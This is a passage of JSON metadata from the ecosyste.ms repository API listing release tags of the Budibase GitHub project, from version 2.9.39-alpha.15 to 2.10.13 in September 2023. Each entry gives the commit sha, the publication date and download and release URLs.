itHub/repositories/Budibase%2Fbudibase/tags/2.10.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.13/manifests"},{"name":"2.10.12-alpha.6","sha":"c0ede07530d32bef64eb7126a938c2a95ebfdb9e","kind":"commit","published_at":"2023-09-25T10:50:18.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.10.12-alpha.6","html_url":"https://github.com/Budibase/budibase/releases/tag/2.10.12-alpha.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.10.12-alpha.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.12-alpha.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.12-alpha.6/manifests"},{"name":"2.10.12-alpha.5","sha":"799f62d218cc00684ad2fdf2d11e0f76090560d0","kind":"commit","published_at":"2023-09-22T15:10:23.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.10.12-alpha.5","html_url":"https://github.com/Budibase/budibase/releases/tag/2.10.12-alpha.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.10.12-alpha.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.12-alpha.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.12-alpha.5/manifests"},{"name":"2.10.12-alpha.4","sha":"043bbf08208d2264137c771c47409e33f3af5a5c","kind":"commit","published_at":"2023-09-22T12:24:41.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.10.12-alpha.4","html_url":"https://github.com/Budibase/budibase/releases/tag/2.10.12-alpha.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.10.12-alpha.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.12-alpha.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.12-alpha.4/manifests"},{"name":"2.10.12-alpha.3","sha":"5863d069ca23f76d3b024a9f3848d8b8dddff454","kind":"commit","published_at":"2023-09-20T13:30:57.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.10.12-alpha.3","html_url":"https://github.com/Budibase/budibase/releases/tag/2.10.12-alpha.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.10.12-alpha.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.12-alpha.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.12-alpha.3/manifests"},{"name":"2.10.12","sha":"7db7159b4cdcf76710278d7c30eaec4f11309e2d","kind":"commit","published_at":"2023-09-20T11:54:52.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.10.12","html_url":"https://github.com/Budibase/budibase/releases/tag/2.10.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.10.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.12/manifests"},{"name":"2.10.12-alpha.2","sha":"a1913dbd6f667f283895384f08179757eb43f710","kind":"commit","published_at":"2023-09-20T07:51:31.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.10.12-alpha.2","html_url":"https://github.com/Budibase/budibase/releases/tag/2.10.12-alpha.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.10.12-alpha.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.12-alpha.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.12-alpha.2/manifests"},{"name":"2.10.12-alpha.1","sha":"c26e1d11274a97c51cf0ae8244cbeed3bc0e7a15","kind":"commit","published_at":"2023-09-19T15:02:57.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.10.12-alpha.1","html_url":"https://github.com/Budibase/budibase/releases/tag/2.10.12-alpha.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.10.12-alpha.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.12-alpha.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.12-alpha.1/manifests"},{"name":"2.10.12-alpha.0","sha":"51a43540dda49be660126f4f1432c1163b549232","kind":"commit","published_at":"2023-09-19T13:34:23.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.10.12-alpha.0","html_url":"https://github.com/Budibase/budibase/releases/tag/2.10.12-alpha.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.10.12-alpha.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.12-alpha.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.12-alpha.0/manifests"},{"name":"2.10.9-alpha.5","sha":"dade2314849dc6d7d6df8b6a6357f522a9c7840d","kind":"commit","published_at":"2023-09-19T12:15:45.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.10.9-alpha.5","html_url":"https://github.com/Budibase/budibase/releases/tag/2.10.9-alpha.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.10.9-alpha.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.9-alpha.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.9-alpha.5/manifests"},{"name":"2.10.11","sha":"225457d123d92cd09e9d59a2722c014fa99bc688","kind":"commit","published_at":"2023-09-19T10:28:33.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.10.11","html_url":"https://github.com/Budibase/budibase/releases/tag/2.10.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.10.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.11/manifests"},{"name":"2.10.9-alpha.4","sha":"d0097273b9d87744a9c31bcce9ccd6bdbccadd47","kind":"commit","published_at":"2023-09-19T10:18:04.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.10.9-alpha.4","html_url":"https://github.com/Budibase/budibase/releases/tag/2.10.9-alpha.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.10.9-alpha.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.9-alpha.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.9-alpha.4/manifests"},{"name":"2.10.9-alpha.3","sha":"fd518548fddb17c1e28c3f5eddf07b3f5f2a3fea","kind":"commit","published_at":"2023-09-18T11:14:32.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.10.9-alpha.3","html_url":"https://github.com/Budibase/budibase/releases/tag/2.10.9-alpha.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.10.9-alpha.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.9-alpha.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.9-alpha.3/manifests"},{"name":"2.10.9-alpha.2","sha":"14d5f551c329374a12080b3c901aa39063d275f1","kind":"commit","published_at":"2023-09-15T10:27:34.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.10.9-alpha.2","html_url":"https://github.com/Budibase/budibase/releases/tag/2.10.9-alpha.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.10.9-alpha.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.9-alpha.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.9-alpha.2/manifests"},{"name":"2.10.10","sha":"539fdd1d6d4bd7d3ceb44a9115971aba409036bf","kind":"commit","published_at":"2023-09-15T09:45:38.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.10.10","html_url":"https://github.com/Budibase/budibase/releases/tag/2.10.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.10.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.10/manifests"},{"name":"2.10.9","sha":"fb30be6ce4ef3652e762deda1e0631a8031c2ccd","kind":"commit","published_at":"2023-09-14T17:02:50.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.10.9","html_url":"https://github.com/Budibase/budibase/releases/tag/2.10.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.10.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.9/manifests"},{"name":"2.10.9-alpha.1","sha":"f15ca351cd00ddc525055c65c2138a0c92ce3960","kind":"commit","published_at":"2023-09-14T11:03:14.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.10.9-alpha.1","html_url":"https://github.com/Budibase/budibase/releases/tag/2.10.9-alpha.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.10.9-alpha.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.9-alpha.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.9-alpha.1/manifests"},{"name":"2.10.9-alpha.0","sha":"37cb9261e8028bd62d21f0499d7b20aeba6ddd64","kind":"commit","published_at":"2023-09-14T09:28:43.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.10.9-alpha.0","html_url":"https://github.com/Budibase/budibase/releases/tag/2.10.9-alpha.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.10.9-alpha.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.9-alpha.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.9-alpha.0/manifests"},{"name":"2.10.8","sha":"6d74bb4063bc7580bad2c822a325f291d638aa7d","kind":"commit","published_at":"2023-09-13T18:01:20.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.10.8","html_url":"https://github.com/Budibase/budibase/releases/tag/2.10.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.10.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.8/manifests"},{"name":"2.10.7-alpha.2","sha":"29358cec5f070840ef6ea4a836065c9f7755d5e8","kind":"commit","published_at":"2023-09-13T15:18:50.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.10.7-alpha.2","html_url":"https://github.com/Budibase/budibase/releases/tag/2.10.7-alpha.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.10.7-alpha.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.7-alpha.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.7-alpha.2/manifests"},{"name":"2.10.7-alpha.1","sha":"f70531d34322ce64ed6bc2f3e20df5e489e9e809","kind":"commit","published_at":"2023-09-13T15:00:27.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.10.7-alpha.1","html_url":"https://github.com/Budibase/budibase/releases/tag/2.10.7-alpha.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.10.7-alpha.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.7-alpha.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.7-alpha.1/manifests"},{"name":"2.10.7","sha":"be5e8005b2d6b2a2c0e5a8339d25e034914e506a","kind":"commit","published_at":"2023-09-13T14:06:52.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.10.7","html_url":"https://github.com/Budibase/budibase/releases/tag/2.10.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.10.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.7/manifests"},{"name":"2.10.7-alpha.0","sha":"21e5219bde49817b78d8dcf217784586550e277f","kind":"commit","published_at":"2023-09-13T12:10:55.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.10.7-alpha.0","html_url":"https://github.com/Budibase/budibase/releases/tag/2.10.7-alpha.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.10.7-alpha.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.7-alpha.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.7-alpha.0/manifests"},{"name":"2.10.3-alpha.2","sha":"7210fc56fc7003a978849d04e33240ee4bee539d","kind":"commit","published_at":"2023-09-12T15:38:02.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.10.3-alpha.2","html_url":"https://github.com/Budibase/budibase/releases/tag/2.10.3-alpha.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.10.3-alpha.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.3-alpha.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.3-alpha.2/manifests"},{"name":"2.10.3-alpha.1","sha":"6e23d746117ce6b760a0c338ab79de85fd5a5da7","kind":"commit","published_at":"2023-09-12T11:16:28.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.10.3-alpha.1","html_url":"https://github.com/Budibase/budibase/releases/tag/2.10.3-alpha.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.10.3-alpha.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.3-alpha.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.3-alpha.1/manifests"},{"name":"2.10.6","sha":"d92811f909d5915c71232c6e5fa85b922fbc6bb9","kind":"commit","published_at":"2023-09-12T10:18:42.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.10.6","html_url":"https://github.com/Budibase/budibase/releases/tag/2.10.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.10.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.6/manifests"},{"name":"2.10.5","sha":"b289253b0e0a6e2553ec7a71d8688b8d441ec62b","kind":"commit","published_at":"2023-09-12T10:18:09.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.10.5","html_url":"https://github.com/Budibase/budibase/releases/tag/2.10.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.10.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.5/manifests"},{"name":"2.10.4","sha":"948e5184c181264f22c1ce6936ee0e55608b1af0","kind":"commit","published_at":"2023-09-12T09:28:46.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.10.4","html_url":"https://github.com/Budibase/budibase/releases/tag/2.10.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.10.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.4/manifests"},{"name":"2.10.3","sha":"cb115f4f11a2dcdad669ac1ed027562344ad7762","kind":"commit","published_at":"2023-09-11T11:15:51.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.10.3","html_url":"https://github.com/Budibase/budibase/releases/tag/2.10.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.10.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.3/manifests"},{"name":"2.10.3-alpha.0","sha":"8ecc9c2d53e9f62e44c66ef218bd2f0090778937","kind":"commit","published_at":"2023-09-11T10:57:39.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.10.3-alpha.0","html_url":"https://github.com/Budibase/budibase/releases/tag/2.10.3-alpha.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.10.3-alpha.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.3-alpha.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.3-alpha.0/manifests"},{"name":"2.10.2","sha":"d1d3dd3c378e055f180517b851c1bfd72f1b701b","kind":"commit","published_at":"2023-09-08T14:51:34.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.10.2","html_url":"https://github.com/Budibase/budibase/releases/tag/2.10.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.10.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.2/manifests"},{"name":"2.9.40-alpha.9","sha":"b4e82289691ec92cb36df9a428bfdf89352d58e0","kind":"commit","published_at":"2023-09-08T14:26:28.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.40-alpha.9","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.40-alpha.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.40-alpha.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.40-alpha.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.40-alpha.9/manifests"},{"name":"2.9.40-alpha.8","sha":"a780f85cacab6ef2dfd0612dd298093b5b431b90","kind":"commit","published_at":"2023-09-08T12:37:28.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.40-alpha.8","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.40-alpha.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.40-alpha.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.40-alpha.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.40-alpha.8/manifests"},{"name":"2.9.40-alpha.7","sha":"9b722b7be1d00d396310f5ed373caa9bc95720b2","kind":"commit","published_at":"2023-09-07T20:27:06.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.40-alpha.7","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.40-alpha.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.40-alpha.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.40-alpha.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.40-alpha.7/manifests"},{"name":"2.9.40-alpha.6","sha":"449bb5003640430739c2a4a1992f1f301ae6521a","kind":"commit","published_at":"2023-09-07T18:50:48.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.40-alpha.6","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.40-alpha.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.40-alpha.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.40-alpha.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.40-alpha.6/manifests"},{"name":"2.10.1","sha":"3cec62b0c7672392a00f1ef4a014329cf03dad4f","kind":"commit","published_at":"2023-09-07T18:21:05.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.10.1","html_url":"https://github.com/Budibase/budibase/releases/tag/2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.1/manifests"},{"name":"2.9.40-alpha.5","sha":"84fa6b2233d9ecbb36ee70acd29c1374d0de7c3d","kind":"commit","published_at":"2023-09-07T18:19:22.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.40-alpha.5","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.40-alpha.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.40-alpha.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.40-alpha.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.40-alpha.5/manifests"},{"name":"2.9.40-alpha.4","sha":"562564fb193c503c2e770fec2666100c8d264588","kind":"commit","published_at":"2023-09-07T16:21:02.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.40-alpha.4","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.40-alpha.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.40-alpha.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.40-alpha.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.40-alpha.4/manifests"},{"name":"2.9.40-alpha.3","sha":"db1a1f37931b9e9c110c2ed87b2f1799e99ba546","kind":"commit","published_at":"2023-09-07T16:02:26.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.40-alpha.3","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.40-alpha.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.40-alpha.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.40-alpha.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.40-alpha.3/manifests"},{"name":"2.9.40-alpha.2","sha":"40870cbdc409e5cd230b83d7fa1bd28365aa4f67","kind":"commit","published_at":"2023-09-07T15:44:18.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.40-alpha.2","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.40-alpha.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.40-alpha.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.40-alpha.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.40-alpha.2/manifests"},{"name":"2.9.40-alpha.1","sha":"e7f29c6da6b3d659019a3b50c3f5113c79bcf5f1","kind":"commit","published_at":"2023-09-07T14:53:01.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.40-alpha.1","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.40-alpha.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.40-alpha.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.40-alpha.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.40-alpha.1/manifests"},{"name":"2.9.40-alpha.0","sha":"d7db276e475acb35441d5fef6d23a31de6ec64eb","kind":"commit","published_at":"2023-09-07T13:59:22.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.40-alpha.0","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.40-alpha.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.40-alpha.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.40-alpha.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.40-alpha.0/manifests"},{"name":"2.10.0","sha":"10e3cccb9f2bb004840f5c60f8bd111338d6609e","kind":"commit","published_at":"2023-09-07T13:33:53.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.10.0","html_url":"https://github.com/Budibase/budibase/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.10.0/manifests"},{"name":"2.9.39","sha":"ee396b983b3637d1cf21d8a29e1d8ebd183e9cd8","kind":"commit","published_at":"2023-09-07T11:29:18.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.39","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.39","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.39","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.39","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.39/manifests"},{"name":"2.9.39-alpha.15","sha":"a6c1f00ef02f5f0c8926575f9525d655e7052b4c","kind":"commit","published_at":"2023-09-07T09:34:18.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.39-alpha.15","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.39-alpha.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.39-alpha.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.39-alpha.15","manifests_url":"https://repos.ecosy